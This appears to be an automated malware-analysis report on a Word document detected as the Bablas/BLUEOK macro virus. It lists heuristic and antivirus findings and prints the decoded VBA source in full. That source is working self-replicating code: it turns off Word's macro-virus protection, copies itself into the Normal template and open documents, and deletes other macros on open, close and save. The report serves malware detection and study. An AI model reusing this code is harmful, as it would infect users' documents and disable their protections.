MALICIOUS
256
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The file exhibits characteristics of legacy macro viruses, with multiple heuristic firings indicating the presence of WordBasic and VBA macros, including AutoOpen and AutoClose functions. ClamAV detections further confirm its malicious nature, identifying it as Legacy.Trojan.Agent-34741 and Doc.Trojan.Bablas-3. The VBA script, while partially truncated, contains messages and references to 'blue color' and includes a 'Bablas' subroutine, hinting at its payload or origin.
Heuristics 6
-
ClamAV: Legacy.Trojan.Agent-34741 critical CLAMAV_DETECTIONClamAV detected this file as malware: Legacy.Trojan.Agent-34741
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
Options.VirusProtection = False -
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() -
Auto_Close macro low OLE_VBA_AUTOCLOSEAuto_Close macroMatched line in script
Sub AutoClose() -
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUSOLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 6447 bytes |
SHA-256: a2392a960338c48bec7ea829db1c0e213b5265f7b488a36ee8d9d43b4626b5d4 |
|||
|
Detection
ClamAV:
Doc.Trojan.Bablas-3
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "BLUEOK"
' ##### Innama a'malu binniyat #####
' Saya hanya berusaha melindungi komputerku, dan tentu juga komputer-
' teman-teman dari terinfeksinya virus macro yang merugikan.
' Semoga Allah melindungi kita semua
Sub ShowMessage()
h = Time
If (WeekDay(Date) = vbFriday Or WeekDay(Date) = vbSunday) And Time < TimeValue("21:00:00") Then
For i = 1 To 100
Beep
Next i
h = MsgBox("Acara dilanjutkan setelah pesan-pesan berikut" & _
Chr(13) & "Untuk Diemay {Im} di Soekarno - Hatta Bandung " & Chr(13) & _
"Terimakasih telah membuat puyeng aku punya kepala" & Chr(13) & _
"Untuk {Mr Zoe, Miss Adaw, Direktur, Mr Epul dll}" & Chr(13) & "Terimakasih atas dukungannya" & _
Chr(13) & Chr(13) & "(Apalah indahnya cinta tanpa sebuah kejujuran)" & Chr(13) & " Rancaekek@2000", vbOKOnly + vbExclamation, "You like blue color...")
End If
End Sub
Sub Bablas()
Attribute Bablas.VB_Description = "Macro created 10/02/99 by Abdul Aziz"
Attribute Bablas.VB_ProcData.VB_Invoke_Func = "Normal.NewMacros.Cegat"
Options.SaveNormalPrompt = False
Options.VirusProtection = False
Options.SavePropertiesPrompt = False
End Sub
Sub ToolsMacro()
h = MsgBox("Silahkan bongkar untuk belajar", vbExclamation + vbOKOnly, "You Like blue Color...")
End Sub
Sub ViewVbCode()
ToolsMacro
End Sub
Sub FileTemplates()
ToolsMacro
End Sub
Sub HelpAbout()
h = MsgBox("Qun katawon walataqun kalaler." & Chr(13) & Chr(13) & _
"I LOVE SOMETHING ERROR !", vbOKOnly + vbExclamation, "Bpp Hacker")
End Sub
Sub ToolsOptions()
Options.SaveNormalPrompt = True
Options.SavePropertiesPrompt = True
Options.VirusProtection = True
Dialogs(wdDialogToolsOptions).Show
Bablas
End Sub
Sub ChangeCap()
On Error Resume Next
Application.Caption = "Expansion blue.... "
ActiveWindow.Caption = "(This is not danger)"
End Sub
Sub RestoreCap()
On Error Resume Next
Application.Caption = "You like blue color... "
ActiveWindow.Caption = ActiveDocument.Name
End Sub
Sub OpenMyMacro()
If InputBox("Enter password", "You like BLUEOK color...") = "Deaisoke" Then Application.ShowVisualBasicEditor = True
End Sub
Sub SikatDocument()
Dim DocOk As Boolean
DocOk = False
For Each Obj In ActiveDocument.VBProject.VBComponents
If Obj.Name = "BLUEOK" Then DocOk = True
If Obj.Name <> "BLUEOK" And Obj.Name <> "ThisDocument" And Obj.Name <> "FORMBLUE" Then
Application.StatusBar = "Deleting " + Obj.Name + _
" Macro in " + ActiveDocument.Name + "..."
Application.OrganizerDelete Source:=ActiveDocument.FullName, _
Name:=Obj.Name, Object:=wdOrganizerObjectProjectItems
End If
Next Obj
If DocOk = False Then
Application.StatusBar = "Copying blue Virus From Normal Template to " _
+ ActiveDocument.Name + "..."
Application.OrganizerCopy Source:=NormalTemplate.FullName, _
Destination:=ActiveDocument, Name:="BLUEOK", Object:=wdOrganizerObjectProjectItems
Application.OrganizerCopy Source:=NormalTemplate.FullName, _
Destination:=ActiveDocument, Name:="FORMBLUE", Object:=wdOrganizerObjectProjectItems
End If
End Sub
Sub SikatTemplate()
Dim NorOk As Boolean
NorOk = False
For Each Obj In NormalTemplate.VBProject.VBComponents
If Obj.Name = "BLUEOK" Then NorOk = True
If Obj.Name <> "BLUEOK" And Obj.Name <> "ThisDocument" And Obj.Name <> "FORMBLUE" Then
Application.StatusBar = "Deleting " + Obj.Name + _
" Macro in Normal Template..."
Application.OrganizerDelete Source:=NormalTemplate.FullName, _
Name:=Obj.Name, Object:=wdOrganizerObjectProjectItems
End If
Next Obj
If NorOk = False Then
Application.StatusBar = "Copying blue Virus from " + ActiveDocument.Name + _
" to Normal Template..."
Application.OrganizerCopy Source:=ActiveDocument.FullName, _
Destination:=NormalTemplate.FullName, Name:="BLUEOK", Object:=wdOrganizerObjectProjectItems
Application.OrganizerCopy Source:=ActiveDocument.FullName, _
Destination:=NormalTemplate.FullName, Name:="FORMBLUE", Object:=wdOrganizerObjectProjectItems
Application.DisplayRecentFiles = False
Application.DisplayRecentFiles = True
End If
End Sub
Sub AutoExit()
FORMBLUE.Show
Application.Quit
End Sub
Sub FileOpen()
ChangeCap
WordBasic.DisableAutoMacros True
On Error Resume Next
If Dialogs(wdDialogFileOpen).Show <> 0 Then
SikatDocument
ActiveDocument.Save
End If
RestoreCap
WordBasic.DisableAutoMacros False
End Sub
Sub AutoOpen()
Bablas
ChangeCap
SikatTemplate
On Error Resume Next
NormalTemplate.Save
RestoreCap
End Sub
Sub AutoClose()
SikatDocument
End Sub
Sub FileClose()
AutoClose
End Sub
Sub FileSave()
If ActiveDocument.Saved = False Then
SikatDocument
SikatTemplate
On Error Resume Next
ActiveDocument.Save
ActiveDocument.Saved = True
End If
End Sub
Sub Ancurin()
C = Documents.Count
If C <> 0 Then
Normal.BLUEOK.SikatDocument
WordBasic.DisableAutoMacros False
On Error Resume Next
If ActiveDocument.Name <> "Document1" Then ActiveDocument.Save
Else: Application.OnTime Now + TimeValue("00:00:07"), "Normal.BLUEOK.Ancurin"
End If
End Sub
Sub AutoExec()
WordBasic.DisableAutoMacros True
Bablas
Application.OnTime Now + TimeValue("00:00:07"), "Normal.BLUEOK.Ancurin"
End Sub
Attribute VB_Name = "FORMBLUE"
Attribute VB_Base = "0{9246D47C-6F06-11D5-8830-0020AFF11EF0}{9246D473-6F06-11D5-8830-0020AFF11EF0}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub Label3_Click()
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.